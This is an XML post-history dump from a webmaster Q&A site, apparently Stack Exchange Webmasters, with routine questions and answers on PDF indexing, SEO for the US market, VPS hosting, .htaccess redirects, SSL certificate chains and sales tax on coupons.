  <row Id="33652" PostHistoryTypeId="2" PostId="14372" RevisionGUID="e7dba016-e5f6-49a4-b66f-813f08d5d531" CreationDate="2009-09-28T22:43:58.737" UserDisplayName="Bratch" Text="Are your PDF files OCR scanned so the text is selectable and searchable?  Or are the PDF files being scanned with no OCR, in which case the text will get stored as a large image?  If the PDF is all images I don't think Google can index it (yet).  Or has Google found your pages by now?" />
  <row Id="33653" PostHistoryTypeId="2" PostId="14367" RevisionGUID="cd0b686e-b746-46b0-bb09-d90dc344f95c" CreationDate="2009-02-10T17:53:24.503" UserDisplayName="Jim Biddison" Text="We are having troubles getting Google to index the PDF files in our site. There are about 50 PDF and range in size for 20 KB to a little under two megs.  They are not protected, can be read annonymously, and inside of PDF Reader, you can search the document.  &#xD;&#xA;&#xD;&#xA;They are listed in the SiteMap.xml.  I can even look at the IIS logs and see Googlebot reading the PDF files, but, except for five, they are never included in the search results.  &#xD;&#xA;&#xD;&#xA;If I do a filetye:pdf, only five pdfs should up.  If I search for text I know is inside a PDF, the PDFs never show up (except for the five that are indexed).&#xD;&#xA;&#xD;&#xA;Does anyone have any idea why the over 45+ pdf document are not being included in the index, even though they are in the sitemap and Googlebot is reading them?" />
  <row Id="33654" PostHistoryTypeId="1" PostId="14367" RevisionGUID="cd0b686e-b746-46b0-bb09-d90dc344f95c" CreationDate="2009-02-10T17:53:24.503" UserDisplayName="Jim Biddison" Text="Google Search of PDF Documents" />
  <row Id="33655" PostHistoryTypeId="3" PostId="14367" RevisionGUID="cd0b686e-b746-46b0-bb09-d90dc344f95c" CreationDate="2009-02-10T17:53:24.503" UserDisplayName="Jim Biddison" Text="&lt;search&gt;&lt;pdf&gt;&lt;google&gt;" />
  <row Id="33656" PostHistoryTypeId="5" PostId="14324" RevisionGUID="8d953f19-d1f5-42eb-94f6-2a65ebaa5d36" CreationDate="2011-05-25T13:40:43.343" UserId="288" Comment="inlined the image" Text="It seems that my menu bar is displayed with a different font stretch in Firefox than it is in Chrome. See the following: &#xD;&#xA;&#xD;&#xA;![different font stretch](http://img24.imageshack.us/img24/296/navigationrl.png)&#xD;&#xA;&#xD;&#xA;Here is the CSS applied to this element:&#xD;&#xA;&#xD;&#xA;    font-variant: small-caps;&#xD;&#xA;    font-size:13px;&#xD;&#xA;    letter-spacing: 0px;&#xD;&#xA;    font-family: Arial;&#xD;&#xA;    font-stretch: normal;&#xD;&#xA;    text-decoration: none;&#xD;&#xA;&#xD;&#xA;As far as I can tell everything regarding that font is exactly the same, yet they still display differently (see pic). &#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="33657" PostHistoryTypeId="24" PostId="14324" RevisionGUID="8d953f19-d1f5-42eb-94f6-2a65ebaa5d36" CreationDate="2011-05-25T13:40:43.343" Comment="Proposed by 288 approved by 1253 edit id of 348" />
  <row Id="33658" PostHistoryTypeId="5" PostId="14360" RevisionGUID="2150bf0f-e107-4a4a-9a37-828d55a8de8e" CreationDate="2011-05-25T13:40:48.583" UserId="1643" Comment="added 162 characters in body" Text="Godaddy is a company operating in several countries offering domains names and hosting. It says it has registrations for more domain names than any other company." />
  <row Id="33659" PostHistoryTypeId="24" PostId="14360" RevisionGUID="2150bf0f-e107-4a4a-9a37-828d55a8de8e" CreationDate="2011-05-25T13:40:48.583" Comment="Proposed by 1643 approved by 1253 edit id of 349" />
  <row Id="33660" PostHistoryTypeId="2" PostId="14373" RevisionGUID="72f4e8d3-8444-4b97-8120-844765026b91" CreationDate="2011-05-25T13:40:59.333" UserId="7801" Text="We've been tasked with building a website and the customer wants to specifically target the US market (North America).&#xD;&#xA;&#xD;&#xA;In terms of build, SEO and wording, is there anything specific that should be included to target the US market?&#xD;&#xA;&#xD;&#xA;If it makes any difference the site will be built on Wordpress.&#xD;&#xA;&#xD;&#xA;We're UK based and tend to build websites that are either targeting locally or at most the UK. I know certain keyword terms such as US locations would need to be included but is there anything else?" />
  <row Id="33661" PostHistoryTypeId="1" PostId="14373" RevisionGUID="72f4e8d3-8444-4b97-8120-844765026b91" CreationDate="2011-05-25T13:40:59.333" UserId="7801" Text="Targeting US market, is there anything specific that should be included?" />
  <row Id="33662" PostHistoryTypeId="3" PostId="14373" RevisionGUID="72f4e8d3-8444-4b97-8120-844765026b91" CreationDate="2011-05-25T13:40:59.333" UserId="7801" Text="&lt;seo&gt;&lt;copy&gt;" />
  <row Id="33663" PostHistoryTypeId="10" PostId="14308" RevisionGUID="4f049cc1-18a3-412e-a839-7e51a32588a0" CreationDate="2011-05-25T13:41:15.667" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33664" PostHistoryTypeId="2" PostId="14374" RevisionGUID="357ecbdb-c6d6-41e3-942b-3b2163b24379" CreationDate="2011-05-25T13:44:25.213" UserId="1253" Text="- In Google Webmaster Tools under `Site Configuration` &gt; `Settings` set `Geographic Target` to `United States`&#xD;&#xA;&#xD;&#xA;- Get a .us domain&#xD;&#xA;&#xD;&#xA;- Host your site in the US (not as important as the first two)&#xD;&#xA;&#xD;&#xA;[This blog post from Google][1] is a good read for this topic&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html" />
  <row Id="33665" PostHistoryTypeId="5" PostId="14373" RevisionGUID="b9872784-6885-4efc-bbf9-257bd62c02eb" CreationDate="2011-05-25T13:48:42.823" UserId="7801" Comment="Added some of my own answers" Text="We've been tasked with building a website and the customer wants to specifically target the US market (North America).&#xD;&#xA;&#xD;&#xA;In terms of build, SEO and wording, is there anything specific that should be included to target the US market?&#xD;&#xA;&#xD;&#xA;If it makes any difference the site will be built on Wordpress.&#xD;&#xA;&#xD;&#xA;We're UK based and tend to build websites that are either targeting locally or at most the UK. I know certain keyword terms such as US locations would need to be included but is there anything else?&#xD;&#xA;&#xD;&#xA;I'm trying to think out of the box with this such as US spelling e.g UK - realise, US - realize." />
  <row Id="33666" PostHistoryTypeId="2" PostId="14375" RevisionGUID="14b07a7c-a71c-435d-b3ce-b43e342f2a6f" CreationDate="2011-05-25T13:50:04.633" UserId="1643" Text="As well as what John Conde's put make sure you use US spelling variations. Search engines treat common variations like color/colour as the same, but humans notice the difference." />
  <row Id="33667" PostHistoryTypeId="2" PostId="14376" RevisionGUID="080596e9-526d-4dfc-b199-d603a42ff6be" CreationDate="2011-05-25T14:12:04.227" UserId="3214" Text="With a VPS you can provide your customers security and peace of mind that they are not squeezed on a server with a 1000 other sites.&#xD;&#xA;&#xD;&#xA;You can run any packages you want like APC for caching, configure a [ghetto CDN][1], give them real shell access, a torrent tracker (no copyright violations please), and IRC server.&#xD;&#xA;&#xD;&#xA;The list goes on.  A VPS is like having your own dedicated server except it doesn't cost as much and doesn't provide the same performance.  If your in the web industry with clients it will also show your clients that you provide a better quality of service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2009/08/a-few-speed-improvements/" />
  <row Id="33668" PostHistoryTypeId="2" PostId="14377" RevisionGUID="f15134c8-8791-4f9d-900c-aca0a5665d2a" CreationDate="2011-05-25T14:12:58.810" UserId="7588" Text="In my purely anecdotal experience the quickest way to get rid of *stuff* off Google is to use permanent redirects.&#xD;&#xA;&#xD;&#xA;See this question for doing 301 for a given file type:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/5965920/301-redirect-based-on-file-extension-to-a-new-extension&#xD;&#xA;&#xD;&#xA;You can redirect everything undesirable to the homepage and this will tidy up your site search results as soon as the Googlebot gets a moment.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;You can put a big load of them in the htaccess, and, with lots of documents, it is easier to do that (i.e. put together a big text file) than to manually remove them off the Google one at a time.&#xD;&#xA;&#xD;&#xA;Scrape your search results with site:www.example.com and click the show all results. You may also want to check for different locales, e.g. .com as well as .co.uk versions of Google just in case there is anything else out there." />
  <row Id="33669" PostHistoryTypeId="5" PostId="14344" RevisionGUID="5c101303-7676-47f1-922a-4a1c91c8a4e3" CreationDate="2011-05-25T14:16:59.680" UserId="3214" Comment="edited body" Text="#When designing a website I start by asking why?&#xD;&#xA;&#xD;&#xA;The first part of my workflow is asking WHY?  If I'm working with a client I need to make sure they have a clear defined vision of what they want the website to accomplish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##1. The Why Questions.&#xD;&#xA;- Tell me a bit about yourself and why you are doing this.&#xD;&#xA;&#xD;&#xA;- Who are the customers? What’s their specific need / pain? Please be able to provide me - with a few specific examples of different types of customers, what they need, what the website will do for them.&#xD;&#xA;&#xD;&#xA;- Tell me about the business. What is it that you exactly do?&#xD;&#xA;&#xD;&#xA;- What makes you better than the next guy?&#xD;&#xA;&#xD;&#xA;- If you were searching for the service your business provides what would YOU type into Google to find it?&#xD;&#xA;&#xD;&#xA;If your building the site for yourself then you better already know what these answers are.&#xD;&#xA;&#xD;&#xA;If you determine based on the answers to the questions above that these people are serious and actually have a good idea.  Then proceed (Remember you are not getting paid yet but you better kock their socks off if you want them to hire you.)&#xD;&#xA;&#xD;&#xA;##2. The Research.&#xD;&#xA; &#xD;&#xA;Spend some time researching the client and his business.  Find out their past successes and any problems they have encountered.  Are you the 3rd developer they have hired?  What happened to the other 2 guys?&#xD;&#xA;&#xD;&#xA;Find out what the customer needs.  Who will you be building this site for.  Is the customer a 60 year old retired veteren or a 16 year old pimple faced kid who plays Farmville on Facebook all day.&#xD;&#xA;&#xD;&#xA;Find out who the competitors are. They might not even know.  Do a competitive analysis of 5 to 10 competitors and find out who's ass we need to kick in the Serps.  This is the stage you need to know what the key word targets is.  Any later and your already failing.&#xD;&#xA;&#xD;&#xA;##2b The Proposal&#xD;&#xA;&#xD;&#xA;Blow them away with your knowledge of their business and come up with a website agreement / proposal and be ready with your contract once they agree. Get the signed contract and a 50% deposit then proceed to step 3.&#xD;&#xA;&#xD;&#xA;##3. The Mission -- [Have one][1]&#xD;&#xA;&#xD;&#xA;&gt; There’s a common theme here: in all of&#xD;&#xA;&gt; these cases, the mission isn’t about&#xD;&#xA;&gt; the product as such. The mission is&#xD;&#xA;&gt; “just” something that, if you’re&#xD;&#xA;&gt; really serious about, requires that&#xD;&#xA;&gt; the product become absolutely amazing,&#xD;&#xA;&gt; so you make that happen. If you&#xD;&#xA;&gt; prefer: these missions are all the&#xD;&#xA;&gt; answer to, why did we just add that&#xD;&#xA;&gt; new feature?, not, what new feature&#xD;&#xA;&gt; are we adding?&#xD;&#xA;&gt; &lt;cite&gt;--[Benjamin Pollack.][2] &lt;/cite&gt;&#xD;&#xA;&#xD;&#xA;The timeline needs to be established so everyone will have their expectations in perspective.&#xD;&#xA;&#xD;&#xA;##4. The Workflow&#xD;&#xA;&#xD;&#xA;This is where most people start so I will explain my process but you will have to decide what workflow is the best for your situation, team, client etc.&#xD;&#xA;&#xD;&#xA;1. For me **The Content** comes first.  I make make sure that the client has a majority of it done before any code is written.  We're not talking final draft proof editing but more or less the words of text that will be on the pages.  If a marketing team is involved this could take a while.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. You should already have an idea of what the site will look like. You should have the content. Now you need to work on the layout and general design principles that will accomplish the goal you came up with in step 3.  &#xD;&#xA;&#xD;&#xA; I HATE wireframes but understand that they are necessary.  Just because you know what the site looks like your client might not. This is for your protection and the clients.  When everyone is happy make them sign off on something that says &quot;This is what we are paying you to build&quot;. &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;3. Frontend development and UI - HTML, CSS and **[DESIGNING IN THE BROWSER](http://hardboiledwebdesign.com/about/)**, Andy Clarke's Hardboiled technique.  I'm tired of wasting so much time in Photoshop when I know can demonstrate a more realistic faster mockup that also gives me a head start on the development.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##4b. The Codebase&#xD;&#xA;&#xD;&#xA;You finally get to have some fun.  For yours and the clients benefit set up [VERSION CONTROL][3] before you get started.  Since your doing version control you should go ahead and set up [BUG TRACKING][4] while your at it.&#xD;&#xA;&#xD;&#xA;##4c. Copy Editing&#xD;&#xA;&#xD;&#xA;Remember that content we have?  Now is when it has to be copy edited.  I suck at this so I try and hire someone else or make sure a lot of people read it.  Check and make sure those keywords we talked about in step 2 are optimized for SEO.  If our content is great and is actually about those key words this should come naturally.&#xD;&#xA;&#xD;&#xA;##5. Beta and UI Testing&#xD;&#xA;&#xD;&#xA;Get some real living breathing human beings to sit down in front of your site and start using it.  I like to enlist my mother who sometimes calls and [wants to know why her printer won't print][5] (The plug Mom,  It has to be plugged in first).  These kind of users need to be able to navigate your site unless of course were using the 16 year old pimple faced kid example above.&#xD;&#xA;&#xD;&#xA;##6. Maintenance and SEO Plan&#xD;&#xA;&#xD;&#xA;Make sure everyone knows who's in charge of fighting off **[the server beasts][6]**.  &#xD;&#xA;&#xD;&#xA;In a month refer back to the competitive analysis we did and compare our site to the ones we analyzed.  Use this data to create your SEO plan and NO I'm not talking about the [snake oil SEO,][7] I'm talking about making sure your still generating relavent content, sites are naturally linking to you (because your so awesome) and your title tags match the body text.  SEO is a long process unless your [Stack Overflow][8] and have an army of 14.1 million users to generate quality content for you.  &#xD;&#xA;&#xD;&#xA;There is a big difference between quality content and the stuff you find on &quot;the hyphenated site&quot;, which I won't be linking.  (To prevent the no-follow juice from even dripping on them).&#xD;&#xA;&#xD;&#xA;##7. Launch&#xD;&#xA;Everything works? The mission of building awesomeness was achieved? Have a launch plan and execute it.  &#xD;&#xA;&#xD;&#xA;If you did everything right in steps 1 - 6 your launch &lt;strike&gt; will be a breeze&lt;/strike&gt; no strike that &lt;strike&gt; you might&lt;/strike&gt; you will have problems.  Just be ready for them and fix any mistakes.&#xD;&#xA;&#xD;&#xA;Send the invoice, rinse and repeat.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitquabit.com/post/have-a-mission/&#xD;&#xA;  [2]: http://bitquabit.com/page/about/&#xD;&#xA;  [3]: http://www.smashingmagazine.com/2008/09/18/the-top-7-open-source-version-control-systems/&#xD;&#xA;  [4]: http://www.fogcreek.com/fogbugz/&#xD;&#xA;  [5]: http://theoatmeal.com/blog/fix_computer&#xD;&#xA;  [6]: http://oatmeal.tumblr.com/post/2916375890/thank-you-tumblr&#xD;&#xA;  [7]: http://seobullshit.com/seo-bullshit-seo-snake-oil-seo-waste-money/&#xD;&#xA;  [8]: http://blog.stackoverflow.com/2011/04/page/2/" />
  <row Id="33670" PostHistoryTypeId="5" PostId="14373" RevisionGUID="d8aa6d8b-fb8a-48b4-8424-8c9aa02c94ae" CreationDate="2011-05-25T14:28:13.663" UserId="7801" Comment="update" Text="We've been tasked with building a website and the customer wants to specifically target the US market (North America).&#xD;&#xA;&#xD;&#xA;In terms of build, SEO and wording, is there anything specific that should be included to target the US market?&#xD;&#xA;&#xD;&#xA;If it makes any difference the site will be built on Wordpress.&#xD;&#xA;&#xD;&#xA;We're UK based and tend to build websites that are either targeting locally or at most the UK. I know certain keyword terms such as US locations would need to be included but is there anything else?&#xD;&#xA;&#xD;&#xA;I'm trying to think out of the box with this such as US spelling e.g UK - realise, US - realize.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;The general consensus within the office is that wording and language plays a big part. American's tend to shorten phrases." />
  <row Id="33671" PostHistoryTypeId="5" PostId="14373" RevisionGUID="4a874d6c-10b7-4095-a771-9639d1886780" CreationDate="2011-05-25T14:38:51.193" UserId="7801" Comment="update" Text="We've been tasked with building a website and the customer wants to specifically target the US market (North America).&#xD;&#xA;&#xD;&#xA;In terms of build, SEO and wording, is there anything specific that should be included to target the US market?&#xD;&#xA;&#xD;&#xA;If it makes any difference the site will be built on Wordpress.&#xD;&#xA;&#xD;&#xA;We're UK based and tend to build websites that are either targeting locally or at most the UK. I know certain keyword terms such as US locations would need to be included but is there anything else?&#xD;&#xA;&#xD;&#xA;I'm trying to think out of the box with this such as US spelling e.g UK - realise, US - realize.&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;The general consensus within the office is that wording and language plays a big part. American's tend to shorten phrases and get to the point!" />
  <row Id="33672" PostHistoryTypeId="5" PostId="14341" RevisionGUID="da34d649-acae-4b93-b43e-4b863ef5620b" CreationDate="2011-05-25T14:39:41.623" UserId="1643" Comment="Put extra blank lines in where swallowed up and tidied punctuation." Text="I'm trying to set up a mobile redirect for a site with 2 subfolders, and I cannot get both to work at the same time.  &#xD;&#xA;This is the structure of the site&#xD;&#xA;&#xD;&#xA;www.mysite.com/EN/&#xD;&#xA;&#xD;&#xA;www.mysite.com/ES/&#xD;&#xA;&#xD;&#xA;This is a bilingual site so each subfolder contains the files corresponding to each language version. Then I was using a 301 redirect, and setting up the index in /EN/ as the main index. Everything was getting redirected to it.&#xD;&#xA;I was using &#xD;&#xA;&#xD;&#xA;    DirectoryIndex index.html&#xD;&#xA;    Redirect /index.html http://www.mysite.com/EN/index.html&#xD;&#xA;&#xD;&#xA;and several Rewritecond to redirect mysite.com and old urls to the new URL.&#xD;&#xA;&#xD;&#xA;It worked fine before I decided to add a mobile version -&gt; m.mysite.com.&#xD;&#xA;I used the solution provided in http://stackoverflow.com/questions/3680463/mobile-redirect-using-htaccess, and it redirects my mobile version properly, but now the desktop is both working. Besides, my mobile version must be bilingual as well.&#xD;&#xA;" />
  <row Id="33673" PostHistoryTypeId="2" PostId="14378" RevisionGUID="b6a9613d-3c3d-43ce-ac74-7982df73401a" CreationDate="2011-05-25T14:42:06.263" UserId="7810" Text="You could also host a multiplayer game server, like a Minecraft server for example, but it needs a lot of ressources, it depend on the hardware that you have." />
  <row Id="33674" PostHistoryTypeId="2" PostId="14379" RevisionGUID="85ead9a3-cd3f-48f8-8452-ee3defcb35db" CreationDate="2011-05-25T14:51:54.137" UserId="7810" Text="Most of the answers already goes in depth, let me just add that you should use some framework or templates so you don't waste time rewriting the basics. &#xD;&#xA;&#xD;&#xA;There are many PHP framework available out there ([Kohana][1] is my personal favorite) or many people use Wordpress as a base.&#xD;&#xA;Also you could use a CSS framework, again there are many out there, one of the most popular is the [960 grid system][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kohanaframework.org/&#xD;&#xA;  [3]: http://960.gs/" />
  <row Id="33675" PostHistoryTypeId="16" PostId="14379" RevisionGUID="d7c1db64-fdf1-409f-858c-a5f3f9f39952" CreationDate="2011-05-25T14:51:54.137" UserId="7810" />
  <row Id="33676" PostHistoryTypeId="2" PostId="14380" RevisionGUID="90182497-7980-4c55-b76c-c03ba5211ea8" CreationDate="2011-05-25T14:52:34.627" UserId="7811" Text="When designing a website, **how do you usually start**?&#xD;&#xA;&#xD;&#xA;Like you i found the need to market myself as a web developer / designer a few years back. I found my starting place to be to understand in my own mind, *what information, image and message do i want to offer to visitors visiting my website?* and *what i wanted the user to accomplish/do whilst visiting my website*.&#xD;&#xA;&#xD;&#xA;Once i gained that understanding the design process became a lot clearer. It allowed for me to write down the elements of my homepage and subsequent pages that would communicate those items.&#xD;&#xA;&#xD;&#xA;For instance i was very keen to make my CV easily findable and downloadable. So when designing my site i ensured that information about my CV and where it could be found where readily available.&#xD;&#xA;&#xD;&#xA;The moral of the story is to be relevant. Everything on your website should serve a purpose, otherwise its just unecessary noise." />
  <row Id="33677" PostHistoryTypeId="16" PostId="14380" RevisionGUID="68563a59-ba67-45f9-aa3e-2c1cd5dddbb5" CreationDate="2011-05-25T14:52:34.627" UserId="7811" />
  <row Id="33678" PostHistoryTypeId="5" PostId="14377" RevisionGUID="e9ccfe95-86ec-4071-8b58-8dc3558fa020" CreationDate="2011-05-25T14:52:56.123" UserId="7588" Comment="rewrite" Text="In my purely anecdotal experience the quickest way to get rid of *stuff* off Google is to use permanent redirects. Can you test this for me please? It should 301 permanent redirect any request to an Excel spreadsheet by Google to your honeypot page. Other visitors should still be able to download the .xls files:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^(file=.*)\.xls&#xD;&#xA;    RewriteCond %{HTTP_USER_AGENT} ^.*(Googlebot|Googlebot|Mediapartners|Adsbot|Feedfetcher)-?(Google|Image)? [NC]&#xD;&#xA;    RewriteRule .* /easteregg.html [R=301,L]" />
  <row Id="33679" PostHistoryTypeId="25" PostId="14373" RevisionGUID="85feae8e-5802-44b6-a5ae-2e29e02e419b" CreationDate="2011-05-25T15:12:43.053" Comment="http://twitter.com/#!/StackWebmasters/status/73406141773783040" />
  <row Id="33680" PostHistoryTypeId="2" PostId="14381" RevisionGUID="83625bfd-fb05-4dcd-b2bc-13fabd51263f" CreationDate="2011-05-25T15:13:05.673" UserId="5739" Text="I was originally looking at a VPS after moving from a Helm Reseller package but quickly realised that at this stage in our business, it was too much too soon and just went for a CPanel reseller package that came with a free licence for WHMCS and we haven't looked back.&#xD;&#xA;&#xD;&#xA;In a couple of years when we outgrow this solution a VPS will be the next step but until then we are happy having someone else deal with all the complicated Linux stuff so we can get on and sell hosting to our clients." />
  <row Id="33681" PostHistoryTypeId="17" PostId="14382" RevisionGUID="e21a8ffb-2ec5-40cc-ac93-3c1bb4b2bfb1" CreationDate="2011-05-25T16:50:24.143" UserId="-1" Comment="from http://stackoverflow.com/questions/6127500/how-to-install-a-new-ca-certificate-on-linux" Text="" />
  <row Id="33682" PostHistoryTypeId="2" PostId="14382" RevisionGUID="f4ef212a-ab45-4764-93aa-8202d8690a60" CreationDate="2011-05-25T16:08:45.293" UserDisplayName="Dail" Text="I have bought a cheap SSL certificate to run my website using NGINX.&#xD;&#xA;&#xD;&#xA;They sent me 4 .crt files:&#xD;&#xA;&#xD;&#xA;**www_mywebsite_it.crt**&#xD;&#xA;&#xD;&#xA;**AddTrustExternalCARoot.crt**&#xD;&#xA;&#xD;&#xA;**PositiveSSLCA.crt**&#xD;&#xA;&#xD;&#xA;**UTNAddTrustServerCA.crt**&#xD;&#xA;&#xD;&#xA;I have configurate www_mywebsite_it.crt and my .key on NGinx, but I also have to install the others .crt files.&#xD;&#xA;&#xD;&#xA;How can I do it? I'm using Ubuntu.&#xD;&#xA;&#xD;&#xA;(The problem is that I see correctly the SSL certificate using Firefox, Chrome and Opera but if I use Firefox 4.0.1 (the last) I get the default Firefox alert for insecure website.)&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33683" PostHistoryTypeId="1" PostId="14382" RevisionGUID="f4ef212a-ab45-4764-93aa-8202d8690a60" CreationDate="2011-05-25T16:08:45.293" UserDisplayName="Dail" Text="How to install a new CA certificate on Linux?" />
  <row Id="33684" PostHistoryTypeId="3" PostId="14382" RevisionGUID="f4ef212a-ab45-4764-93aa-8202d8690a60" CreationDate="2011-05-25T16:08:45.293" UserDisplayName="Dail" Text="&lt;linux&gt;&lt;ubuntu&gt;&lt;nginx&gt;" />
  <row Id="33685" PostHistoryTypeId="17" PostId="14383" RevisionGUID="d99d38be-18cf-401d-ac86-2485e57a34a0" CreationDate="2011-05-25T17:01:07.963" UserId="-1" Comment="from http://stackoverflow.com/questions/6117203/hosting-related-inquery-asp-net-4-0-application" Text="" />
  <row Id="33686" PostHistoryTypeId="2" PostId="14383" RevisionGUID="f9e6fbf3-668d-459b-a56a-7b4f2bb68d72" CreationDate="2011-05-24T21:34:32.293" UserDisplayName="Aysha Sharmin" Text="We are building an public site Using asp.net 4.0 and SqlServer 2008 R2. &#xD;&#xA;We are assuming with a year our user count will be around 200,000. &#xD;&#xA;&#xD;&#xA;We need better understanding; for hosting how much bandwidth per month we should consider.&#xD;&#xA;Also what about ram/cpu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please help." />
  <row Id="33687" PostHistoryTypeId="1" PostId="14383" RevisionGUID="f9e6fbf3-668d-459b-a56a-7b4f2bb68d72" CreationDate="2011-05-24T21:34:32.293" UserDisplayName="Aysha Sharmin" Text="Hosting related inquery Asp.Net 4.0 application" />
  <row Id="33688" PostHistoryTypeId="3" PostId="14383" RevisionGUID="f9e6fbf3-668d-459b-a56a-7b4f2bb68d72" CreationDate="2011-05-24T21:34:32.293" UserDisplayName="Aysha Sharmin" Text="&lt;asp.net&gt;&lt;web-hosting&gt;" />
  <row Id="33689" PostHistoryTypeId="25" PostId="14362" RevisionGUID="42547d03-9bed-468f-89be-f65c74991883" CreationDate="2011-05-25T18:12:57.287" Comment="http://twitter.com/#!/StackWebmasters/status/73451499132428288" />
  <row Id="33690" PostHistoryTypeId="17" PostId="14384" RevisionGUID="8627549e-69bc-42b1-948e-45df65cb2e57" CreationDate="2011-05-25T19:04:51.600" UserId="-1" Comment="from http://stackoverflow.com/questions/6128799/number-of-facebook-likes-on-homepage-keeps-resetting-to-lower-number" Text="" />
  <row Id="33691" PostHistoryTypeId="2" PostId="14384" RevisionGUID="216f7c8f-5f31-42a2-8393-3184d8f9ea7f" CreationDate="2011-05-25T18:03:32.903" UserDisplayName="user761879" Text="We've had a Facebook Like button on our homepage (i.e. associated with a URL not our Facebook Page) for a few months, and nearly every other day the number of likes resets from the actual number of Likes (over 200) to the number of Shares (6). Every time it happens, we run the URL through the Facebook linter and (usually) it will be fixed right away - though sometimes it will take a few hours or even days. Our site defaults to https: but we run the linter on both the http: and https: URLs. &#xD;&#xA;&#xD;&#xA;We've done a lot of online research and we have not found a straight forward answer of how to stop this from continuing to happen - any thoughts?" />
  <row Id="33692" PostHistoryTypeId="1" PostId="14384" RevisionGUID="216f7c8f-5f31-42a2-8393-3184d8f9ea7f" CreationDate="2011-05-25T18:03:32.903" UserDisplayName="user761879" Text="Number of Facebook Likes on homepage keeps resetting to lower number" />
  <row Id="33693" PostHistoryTypeId="3" PostId="14384" RevisionGUID="216f7c8f-5f31-42a2-8393-3184d8f9ea7f" CreationDate="2011-05-25T18:03:32.903" UserDisplayName="user761879" Text="&lt;facebook&gt;" />
  <row Id="33694" PostHistoryTypeId="2" PostId="14385" RevisionGUID="2a9162b1-d3c5-4dc4-bd21-c1404cbe0ad6" CreationDate="2011-05-25T19:05:23.183" UserId="6150" Text="Should I calculate sales tax before or after a coupon discount is applied? I assume this will vary by state, I'm currently dealing with NY.&#xD;&#xA;&#xD;&#xA;We deal with three types of coupons: % discount, $ discount, and free shipping. I know that for % discounts, tax is calculated after the discount is taken. What about $ discounts? What about free shipping (NY does charge sales tax on shipping &amp; handling)" />
  <row Id="33695" PostHistoryTypeId="1" PostId="14385" RevisionGUID="2a9162b1-d3c5-4dc4-bd21-c1404cbe0ad6" CreationDate="2011-05-25T19:05:23.183" UserId="6150" Text="Sales Tax on Coupon Discounts" />
  <row Id="33696" PostHistoryTypeId="3" PostId="14385" RevisionGUID="2a9162b1-d3c5-4dc4-bd21-c1404cbe0ad6" CreationDate="2011-05-25T19:05:23.183" UserId="6150" Text="&lt;ecommerce&gt;&lt;coupons&gt;" />
  <row Id="33697" PostHistoryTypeId="2" PostId="14386" RevisionGUID="666e2a8f-14a8-4650-8410-d5d2237ecad9" CreationDate="2011-05-25T19:05:27.463" UserId="30" Text="As you are referring to a `Set-Cookie` header, this must be in reference to a response being sent by the product to which you refer.&#xD;&#xA;&#xD;&#xA;Assuming you cannot fix the product nor can the vendor, you will need to modify the response headers as required. You can't achieve this with mod_rewrite; it is for manipulating request URLs only.&#xD;&#xA;&#xD;&#xA;[mod_headers][1] is described as as being for the &quot;[c]ustomization of HTTP request and response headers&quot;. Examine the documentation for the 'edit' action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/current/mod/mod_headers.html" />
  <row Id="33698" PostHistoryTypeId="2" PostId="14387" RevisionGUID="244a8579-b608-4a1b-a912-4e071dcc9140" CreationDate="2011-05-25T19:10:41.377" UserId="1253" Text="You charge tax on the amount of sale that is taxable (I.e. not tax exempt). From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; A sales tax is a consumption tax charged at the point of purchase for certain goods and services. The tax amount is usually calculated by applying a percentage rate to the taxable price of a sale.&#xD;&#xA;&#xD;&#xA;So basically the tax is charged on the discounted amount. In your case the &quot;subtotal after discount&quot; + &quot;shipping&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sales_tax" />
  <row Id="33699" PostHistoryTypeId="5" PostId="5653" RevisionGUID="0ae71449-6c3e-47fa-93de-13ac5ca6579a" CreationDate="2011-05-25T19:16:32.217" UserId="2315" Comment="fixed style, spelling" Text="Does the Google spider knows how to render JavaScript, or only HTML?" />
  <row Id="33700" PostHistoryTypeId="4" PostId="5653" RevisionGUID="0ae71449-6c3e-47fa-93de-13ac5ca6579a" CreationDate="2011-05-25T19:16:32.217" UserId="2315" Comment="fixed style, spelling" Text="Does the Google spider render JavaScript?" />
  <row Id="33701" PostHistoryTypeId="24" PostId="5653" RevisionGUID="0ae71449-6c3e-47fa-93de-13ac5ca6579a" CreationDate="2011-05-25T19:16:32.217" Comment="Proposed by 2315 approved by 1253 edit id of 350" />
  <row Id="33702" PostHistoryTypeId="5" PostId="14387" RevisionGUID="323beace-2685-4be0-9f48-e156ca78c76c" CreationDate="2011-05-25T19:20:15.270" UserId="1253" Comment="deleted 256 characters in body; added 14 characters in body" Text="You charge tax on the amount of sale that the consumer will be paying for, not original value. So basically the tax is charged on the discounted amount. In your case the &quot;subtotal after discount&quot; + &quot;shipping (which is $0)&quot;.&#xD;&#xA;" />
